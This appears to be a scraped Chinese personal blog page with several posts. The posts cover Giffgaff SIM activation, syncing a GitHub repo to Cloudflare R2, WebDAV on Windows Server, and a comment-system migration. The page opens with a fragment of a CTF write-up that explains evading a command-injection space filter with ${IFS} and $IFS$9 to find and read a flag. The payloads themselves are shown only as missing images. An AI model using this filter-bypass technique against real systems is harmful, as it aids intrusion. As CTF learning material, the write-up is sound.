这里就要涉及到RCE的空格过滤绕过了,我们用到${IFS}来充当空格,因为这个变量在Linux系统里面默认指向空格(可参考下图GPT的解释)
![]()
所以就可以构建出下面这样的payload来搜索flag的位置
![]()
然后把它cat出来就可以了,cat这里我用的是第二种表示方法,即$IFS$9
![]()
-
GamerNoTitle

- 英国Giffgaff卡激活记录之前就想着,我的Telegram、Twitter、Facebook啥的都是绑定的我的+86手机号,想着国外的服务能不能用个外面的手机号本来我是想白嫖个迪拜的手机号的,但是那家厂因为被嫖的太多,然后不让CN用户来嫖了,接着我就看到了Giffgaff这一家很多人推荐的英国运营商拿卡我拿卡找的是Telegram上的一个人,他在送卡(人是要吃AFF的,AFF的东西后面说),然后说先垫付6块运费,激活后返还,需要的话可以自行寻找这个人,我把链接放在下面https://www.nodeseek.com/post-139473-1人还可以代充,就是帮你充值10英镑来通过激活这一个过程,也不收手续费(我没找他,我群里有群友帮我充)过了大概两天,我的快递就到了,到了以后就是一张卡激活激活这个过程,其实也没什么坑,就是看清楚选的是什么就好了打开Giffgaff的官网,先注册个账号,中间有一个给你发促销消息邮件的一个选项记得选否,接着我们来到激活页面在上面的框框里面输入你卡面上的激活码(就是我那个图里面Your Activation Code底下的六位激活码),点击Activate your SIM然后会进
英国Giffgaff卡激活记录
之前就想着,我的Telegram、Twitter、Facebook啥的都是绑定的我的+86手机号,想着国外的服务能不能用个外面的手机号
本来我是想白嫖个迪拜的手机号的,但是那家厂因为被嫖的太多,然后不让CN用户来嫖了,接着我就看到了Giffgaff这一家很多人推荐的英国运营商
拿卡
我拿卡找的是Telegram上的一个人,他在送卡(人是要吃AFF的,AFF的东西后面说),然后说先垫付6块运费,激活后返还,需要的话可以自行寻找这个人,我把链接放在下面
人还可以代充,就是帮你充值10英镑来通过激活这一个过程,也不收手续费(我没找他,我群里有群友帮我充)
![]()
过了大概两天,我的快递就到了,到了以后就是一张卡
![]()
激活
激活这个过程,其实也没什么坑,就是看清楚选的是什么就好了
打开Giffgaff的官网,先注册个账号,中间有一个给你发促销消息邮件的一个选项记得选否,接着我们来到激活页面
![]()
在上面的框框里面输入你卡面上的激活码(就是我那个图里面Your Activation Code底下的六位激活码),点击Activate your SIM
然后会进入选择套餐的页面
![]()
先别选!!!先别选!!!先别选!!!我们拉动这个页面到最底下,有一个Pay as you go,我们选这个
![]()
这个选项就是典型的用多少算多少,对我们这种只需要保号的用户来说正好
接着点击Countinue继续我们的操作,就进入了付款充值页面,我们直接选择10英镑就可以了(如果你有需要可以选别的)
![]()
然后进入付款模式,在这里输入相应的付款信息付款就行了,如果你是带了AFF的,你会获得5英镑的额外资金
![]()
充值完了后等一会会给你自动分配一个号码(偷个别人的图,因为我不是自己充值的)
![]()
只要弹出手机号码就可以进行使用啦
保号
根据Giffgaff官方的说法,你需要保证每六个月有一次资金的变动,所以我们只要每六个月消费一次就行了
![]()
而官方文档里写道在中国的漫游资费如下(注:1£ = 100p)
![]()
我个人是这么考虑的:
- 移动数据,每次用量不可控,虽然是0.2£每MB,但是不好控制,不考虑
- 打电话,1£每分钟,太贵了,不考虑
- 发短信,0.3£每条且可控,就是你了!
综上,我们选择发短信即可,而每六个月需要发一次短信,一年使用0.6£,我们卡里有15£,理论上我们可以用这个卡用25年不换,岂不美哉
giffgaff官方会在保号周期到期前一周发送提醒邮件,还请特别留意,可以在Giff官网查一下自己的扣费记录 -> https://www.giffgaff.com/profile/usage-statement
AFF
根据Giffgaff官网的说法,每次激活一张带有你的AFF的卡,新卡和你的卡都会获得5£的奖励
如果你拉了15+个人,会晋升为super-recruiter,能够获得更多的AFF奖励(可以提现到Paypal)
但我不是干AFF的,具体这些东西我不太了解,建议到Giff官网看看,我把链接放在这里
eSIM
Giffgaff已经支持eSIM了 => How to get a giffgaff eSIM | giffgaff | giffgaff
但是国内手机没有eSIM,如果有需要我的建议是买一个5ber的eSIM或者是买个9eSIM的卡,我手上没有,这部分我就不多赘述了,我在下面放一个别人的教程
Giffgaff实体卡转eSIM => https://blog.mykeyvans.com/article/giffgaff-esim-diy
-
GamerNoTitle

- 使用Github Action将当前仓库同步到Cloudflare R2存储桶因为昨晚弄的时候忘记截图了,所以与付款有关的操作我使用小号进行的前言在一天很平常的更新域名DNS记录的时候,我忽然看到了Cloudflare又上架了一个我没见过的功能,就是左边的这个R2我点进去看了一下,看起来是个存储桶服务,而且这个价格还很亲民啊,总共10GB的存储,每个月一百万次的A类操作和一千万次的B类操作,这不比阿里云什么的香?Cloudflare —— 赛博菩萨Class A操作Class A操作包括:ListBuckets(列出存储桶)PutBucket(创建存储桶)ListObjects(列出对象)PutObject(上传对象)CopyObject(复制对象)CompleteMultipartUpload(完成分段上传)CreateMultipartUpload(创建分段上传)LifecycleStorageTierTransition(生命周期存储层转换)ListMultipartUploads(列出分段上传)UploadPart(上传分段)UploadPartCopy(复制上传分段)ListParts(列出分段)PutBucketEncryption(设置存储桶加密)
使用Github Action将当前仓库同步到Cloudflare R2存储桶
因为昨晚弄的时候忘记截图了,所以与付款有关的操作我使用小号进行的
前言
在一天很平常的更新域名DNS记录的时候,我忽然看到了Cloudflare又上架了一个我没见过的功能,就是左边的这个R2
![]()
我点进去看了一下,看起来是个存储桶服务,而且这个价格还很亲民啊,总共10GB的存储,每个月一百万次的A类操作和一千万次的B类操作,这不比阿里云什么的香?
Cloudflare —— 赛博菩萨
![]()
Class A操作
Class A操作包括:
- ListBuckets(列出存储桶)
- PutBucket(创建存储桶)
- ListObjects(列出对象)
- PutObject(上传对象)
- CopyObject(复制对象)
- CompleteMultipartUpload(完成分段上传)
- CreateMultipartUpload(创建分段上传)
- LifecycleStorageTierTransition(生命周期存储层转换)
- ListMultipartUploads(列出分段上传)
- UploadPart(上传分段)
- UploadPartCopy(复制上传分段)
- ListParts(列出分段)
- PutBucketEncryption(设置存储桶加密)
- PutBucketCors(设置存储桶跨域资源共享)
- PutBucketLifecycleConfiguration(设置存储桶生命周期配置)
Class B操作
Class B操作包括:
- HeadBucket(获取存储桶元数据)
- HeadObject(获取对象元数据)
- GetObject(获取对象)
- UsageSummary(使用情况摘要)
- GetBucketEncryption(获取存储桶加密配置)
- GetBucketLocation(获取存储桶位置)
- GetBucketCors(获取存储桶跨域资源共享配置)
- GetBucketLifecycleConfiguration(获取存储桶生命周期配置)
免费操作
免费操作包括:
- DeleteObject(删除对象)
- DeleteBucket(删除存储桶)
- AbortMultipartUpload(终止分段上传)
使用Cloudflare R2
开通
我开通这个服务,使用的是PayPal(毕竟没有信用卡)
在上面那张图的右上角有个蓝色的PayPal按钮你发现了吗?
PayPal应该没有区域要求,我的PayPal所属区域是中国大陆,并且我绑定的是建设银行和中国银行的卡,正常通过(付款用的中国银行卡,里面只有三十块不会扣得太狠)
地址如实填写就可以了,人也不会去查你撒
新建存储桶
开通以后与大多数的OSS服务一样,首先是要新建一个存储桶
开通后,这个页面会变成下图的样子
![]()
点击那个蓝色的Bucket创建一个桶就行了,名字随意,但是不能和你自己已经有的重名,我这里就新建一个test存储桶,地区可以随意,但我更偏向于指定一下,毕竟咱们人在亚太地区
填好了点下面的新建按钮就可以了
![]()
上传文件
浏览器上传
当我们新建完存储桶后,就会带我们到存储桶的页面,在这个页面的Object选项卡下,直接将文件拖入页面就可以上传了
但是这样做有一定的局限性:
- 文件不得大于300MB
- 上传文件夹时,文件数目不得大于100
![]()
使用Amazon CLI上传
因为Cloudflare的R2兼容亚马逊的套件,所以我们可以使用这个方法来上传,同时也可以避免浏览器上传的一些限制
安装Amazon CLI
我们访问亚马逊自己的文档,找到CLI安装的一节
Install, update, and uninstall the AWS CLI - AWS Command Line Interface (amazon.com)
根据文档和自己的系统选择合适的安装包进行安装,安装过程省略
获取Cloudflare R2存储桶的链接凭据
我们访问Cloudflare文档给我们提供的链接,来到API创建页面
创建一个API Token,供我们待会使用
![]()
填好了点下面的Create Token,然后Cloudflare会给我们展示我们的凭据
我们需要的是Access Key ID、Secret Access Key和下面的Use jurisdiction-specific endpoints for S3 clients里面的链接,把这几个东西保存下来备用
![]()
在AWS CLI中设置相关凭据
我们运行下面的命令,设置一下我们的凭据(将里面的内容换成自己的)
1 | $ aws configure set aws_access_key_id <Access Key ID> |
上传文件
我们找到一个需要上传的文件,这里我需要上传的是一整个文件夹,但是我不想上传.git文件夹,于是我运行了下面的命令
1 | $ aws s3 sync . s3://test --endpoint-url=https://<userid>.r2.cloudflarestorage.com --exclude ".git/*" |
命令解释
s3使用的是AWS CLI里面的s3组件,这个组件里面包括了对存储桶的操作函数sync同步功能,将本地文件上传到存储桶里.指当前目录s3://test固定用法,在s3://后面接上存储桶的名字(就是你创建的时候填的那个)--endpoint-url=https://<userid>.r2.cloudflarestorage.coms3存储桶的API访问地址,这里是填Cloudflare给我们的那个链接--exclude ".git/*"忽略.git文件夹及其内部的所有内容
如果我们在这个文件夹进行了更新,但是不想重新上传里面已有的文件,可以加入--exact-timestamps这个参数,但是如果要覆盖的话,则需要加入--delete,例如
覆盖
1
$ aws s3 sync . s3://test --endpoint-url=https://<userid>.r2.cloudflarestorage.com --exclude ".git/*" --delete
跳过已有
1
$ aws s3 sync . s3://test --endpoint-url=https://<userid>.r2.cloudflarestorage.com --exclude ".git/*" --exact-timestamps
同步Github图床的文件
因为我之前的文件是丢Github并且使用jsdelivr来代理的,这时我需要把所有的文件同步上去,但是我用浏览器上传就会提示文件数目超过100个,所以我只能使用CLI上传
而我就在想,能不能每次更新图床的时候都同步到存储桶内,于是我使用了Github Action来帮我做这个事情
添加Workflow文件
我们需要在仓库中新建.github/workflows/<name>.yml文件来新建这个workflow,我的Workflow文件内容如下(仅供参考)
1 | name: Upload to Cloudflare R2 |
设置Action环境变量
我们打开Github仓库的设置,在左侧Secrets and variables选项卡下选择Action,然后在Repository secrets下加入四个变量(如图)
![]()
测试Workflow
我们点击上面的Action按钮,然后再点到我们的Workflow,让它跑一次来测试,同时也是我们第一次同步仓库
![]()
等到它变成绿色(图片中下面的那一堆),就说明同步完成啦
公开Bucket访问
使用内置的r2.dev域名
我们在存储桶的页面,点击上面的Settings,往下滑找到R2.dev subdomain,点击右边的Allow Access来开启它
![]()
![]()
使用自定义域名
既然Cloudflare这名赛博菩萨都是DNS服务商了,怎么可能会不让你用自己的域名呢?
我们还是找到Settings,在里面找到Custom Domains这一部分
![]()
点击Connect Domain并输入自己的域名,根据提示来就可以了
结语
怎么说呢,Cloudflare确实很大气,但是也不要乱跑流量,因为之前有人一个月消耗了1PB流量差点被封号了,合理使用才能变得更长久
![]()
-
GamerNoTitle

- 在Windows Server上启用Webdav为什么要用Webdav首先,你得知道我们平常用的SMB文件共享服务用的445端口,一般是不对外开放的。云服务器也是如此。而webdav可以通过http服务来访问你的文件,甚至我在家里用Cloudflare Tunnel都可以穿出去访问,非常地方便。所以对于我家里的小霸王服务器,自我换成Windows Server后,需要在外访问的话就需要打开Webdav安装Webdav服务本次使用的是Windows Server 2022首先先打开Windows Server自带的服务器管理器,选择添加角色和功能,在服务器角色选项卡添加web 服务器(IIS)然后跳到功能选项卡,勾选Webdav重定向服务再在下面Web 服务器角色(IIS)选项卡下的角色服务添加Windows 身份验证和WebDAV 发布然后点下一步,把这些功能装上,这个过程可能有点长,装好了记得重启一下,记得先保存一下工作(把虚拟机啥的挂起一下)添加WebDAV服务器重启完了以后,我们还是打开服务器管理器,在右上角的工具里面找到IIS工具然后添加一个网站,物理路径就是你想要共享的文件夹位置,记得改下端口(当然你不介意用80的话可以不
在Windows Server上启用Webdav
为什么要用Webdav
首先,你得知道我们平常用的SMB文件共享服务用的445端口,一般是不对外开放的。云服务器也是如此。而webdav可以通过http服务来访问你的文件,甚至我在家里用Cloudflare Tunnel都可以穿出去访问,非常地方便。
所以对于我家里的小霸王服务器,自我换成Windows Server后,需要在外访问的话就需要打开Webdav
安装Webdav服务
本次使用的是Windows Server 2022
![]()
首先先打开Windows Server自带的服务器管理器,选择添加角色和功能,在服务器角色选项卡添加web 服务器(IIS)
![]()
然后跳到功能选项卡,勾选Webdav重定向服务
![]()
再在下面Web 服务器角色(IIS)选项卡下的角色服务添加Windows 身份验证和WebDAV 发布
![]()
然后点下一步,把这些功能装上,这个过程可能有点长,装好了记得重启一下,记得先保存一下工作(把虚拟机啥的挂起一下)
![]()
添加WebDAV服务器
重启完了以后,我们还是打开服务器管理器,在右上角的工具里面找到IIS工具
![]()
然后添加一个网站,物理路径就是你想要共享的文件夹位置,记得改下端口(当然你不介意用80的话可以不改)
![]()
设置好了点确定,然后双击我们刚刚添加的网站,找到WebDav创作规则
![]()
然后在右侧添加一个创作规则,具体配置按需配置,你也可以按照我这么选,然后点确定
![]()
设置身份验证
既然是WebDAV,那肯定得加上身份验证
我们双击左边树状图里我们的网站,然后选择身份验证
![]()
如果你需要匿名登录你就保持匿名为启用(注意做好目录限制),然后把第二个Windows 身份验证给打开
![]()
开启目录浏览
再次双击左边的树状图里的网站,找到目录浏览,点击右边的启用
![]()
![]()
搞定了以后,我们双击树状图里我们的网站,在右边重启一下我们的网站
测试网站
重启了以后,我们在浏览器里访问我们的网址(IP地址:端口),如果弹出像我这样的身份验证页面(或者直接不弹,直接看到了目录,取决于你是否开了匿名访问),登陆完进去看到目录树,就是成功了
![]()
![]()
如果出现了500错误,然后详细信息里面写由于权限不足而无法读取配置文件的话,你就需要右键你网站的目录,选择安全,把你的用户加进去
设置MINE类型
如果你不设置MINE类型的话,会导致你点一个非主流后缀名的文件,出现404(注:web.config文件本身请求就会404,不是MINE问题)
![]()
我们还是去到IIS,在自己的网站配置下找到MINE类型这个选项
![]()
在右边点添加,然后按我这么填(一劳永逸)
上面填.*,下面填application/octet-stream
![]()
然后重启一下网站就可以了
使用Cloudflare Tunnel映射
首先你电脑得装Cloudflared,关于这东西的用法在这里不多讲,这里假设你已经装好了
我们去到Zero Trust,然后去到Tunnel
![]()
![]()
找到自己的服务器,进去后在Public Hostname添加一个网站,可以按我这么填(上面域名啥的就填自己的了)
![]()
然后我们再测试从Cloudflare的Tunnel那边访问一下,确认正常
![]()
-
GamerNoTitle

- 为什么我选择用回了Valine?熟悉我的小伙伴应该知道,我的网站的评论系统经历了几次更换,最开始我用的是Gitalk,但是因为要登录Github账户,而且不是所有人都有Github账户,所以就更换了后面用上了Valine,Valine用得很舒服,yysy,配置好Valine-Admin后基本上可以撒手不管了,但是后来Valine停止更新了,就想着去用下WalineWaline用了没多久,发现这东西后端一直连接不上,然后就又更换了最后换成了Twikoo,这个东西跟Waline一样是要用MongoDB的,所以直接把Waline的MongoDB给它用,没一会就搞定了你以为到这里就这么简单了嘛?如果真的是的话我就不会发这篇文来吐槽了Twikoo Vercel部署无法发邮件最开始我是部署在Vercel上面的,这种方式就是很方便,因为Vercel本来就是一个很便捷的平台,没有很多繁琐的操作,再说,Twikoo支持一键部署,所以就部署在了Vercel里面用了两周以后发现一个很大的问题:Vercel链接微软服务器会超时!我的域名邮箱是在Office365上面的,自然邮件提醒功能就要链接微软的服务,然后Vercel使用邮件提醒的时候,
为什么我选择用回了Valine?
熟悉我的小伙伴应该知道,我的网站的评论系统经历了几次更换,最开始我用的是Gitalk,但是因为要登录Github账户,而且不是所有人都有Github账户,所以就更换了
后面用上了Valine,Valine用得很舒服,yysy,配置好Valine-Admin后基本上可以撒手不管了,但是后来Valine停止更新了,就想着去用下Waline
Waline用了没多久,发现这东西后端一直连接不上,然后就又更换了
最后换成了Twikoo,这个东西跟Waline一样是要用MongoDB的,所以直接把Waline的MongoDB给它用,没一会就搞定了
你以为到这里就这么简单了嘛?如果真的是的话我就不会发这篇文来吐槽了
Twikoo Vercel部署无法发邮件
最开始我是部署在Vercel上面的,这种方式就是很方便,因为Vercel本来就是一个很便捷的平台,没有很多繁琐的操作,再说,Twikoo支持一键部署,所以就部署在了Vercel里面
用了两周以后发现一个很大的问题:Vercel链接微软服务器会超时!我的域名邮箱是在Office365上面的,自然邮件提醒功能就要链接微软的服务,然后Vercel使用邮件提醒的时候,就会超过Vercel规定的10秒上限,导致函数运行直接超时,然后发不出邮件
幸好,Twikoo不只是能够在Vercel部署,我又把目光投向了Zeabur这个平台
Twikoo Zeabur部署 数据丢失事件
我不能说Zeabur不好用,他确实很好用,非常好用,几乎完美解决了我的容器需求,但是凡事都有个但是,Zeabur在2023年七月初上线了签到延长使用期限的功能,也就是说如果我不签到,我的应用会自动被停机
![]()
我在Zeabur部署Twikoo的时候,那还是Zeabur平台的早期,当时的设定是MongoDB会部署在Twikoo容器的内部,这就导致了但凡Twikoo进行了一次重启,所有的数据都会丢失
很不幸,我的数据正是在这种情况下丢失了,一点都没有剩下。幸好,在我之前部署Vercel的Twikoo的时候,里面的MongoDB的数据是还在的,尽管它不是最全的,但是能恢复一部分已经是很不错的事情了
或许你会问我:现在Zeabur的付费机制可以绑定支付宝,为什么不用呢?我只能说数据丢了一次以后,我在想尽各种办法来避免这种情况,所以目前Zeabur不在考虑范围内
![]()
Twikoo Render部署 程序底层导致的无法发送邮件
当我把Zeabur上的应用迁移,特别是Valora迁移的时候,我尝试找一个能够连续不断跑容器的平台,最后选择了Render这家,它可以在新加坡部署容器,且一个月有750小时的运行时间,完全够一个容器跑一个月的了,所以我也把Twikoo丢到了这个地方
当我搬上去以后,进行了一系列的配置,然后再次尝试邮件的时候,发现还是发不了,这不是配置上的问题,就是Twikoo发不出去
发现了以后,我又尝试用了Valine-Admin来发送
重新接入Valine
放弃使用Valine其实还有一个原因,就是Leancloud的国际版禁止国内IP访问了(业务域名和自带的引擎域名),我是搬到了国内版去用的,但是国内版要求备案,搞得我很烦(后来找了代备案搞定的)
这次重新接入Valine,我选用的是国际版,国际版之前的数据我都没删掉,就是换用Twikoo以后的新增数据没有了,这个没办法,最后就只要解决国内不能访问业务域名的问题就可以了
这里我用了Vercel作为反代,然后把serverURL设置为了我的反代域名,才解决了国内访问不了的问题
![]()
测试Valine邮件
我重新部署了一次Valine-Admin,来避免一些遗留下来的问题,部署完成后,在我的网站匿名发送了一条测试评论,邮件顺利送达
![]()
最后我恢复了Valine的使用,尽管它现在已经不更新了,但是它能够满足我的基本需求,所以我还是选用它
FIN
最后我改了一下我导出的MongoDB的数据,发现可以被Valine正常识别,只需要修改一下数据的类型就可以正常被导入了
导入以后发现……这个邮件它以前没发的全给我发了
![]()
对不起对不起对不起!!!我没想到它会自己发出去
加更:Twikoo合并入Valine并去重
就像我上面说的,我的Valine数据是导入进去过Twikoo的,现在Twikoo导出的数据是json(用管理面板里面的那个导出),直接导入Leancloud是没问题的,但是珲面临下面的问题:
- 时间格式不正确:Twikoo的时间格式是时间戳,而Valine用的是Leancloud的Date类型
- Twikoo无用数据较多,
uid、master、top什么的标记需要去除 - 去重!去重!还是去重!
经过我在火车上的一小时奋战,我终于弄出了这个脚本(Twikoo导入Leancloud后在Leancloud导出数据库)
1 | import json |
运行完后在Leancloud导入Comment.json文件后,就完成了!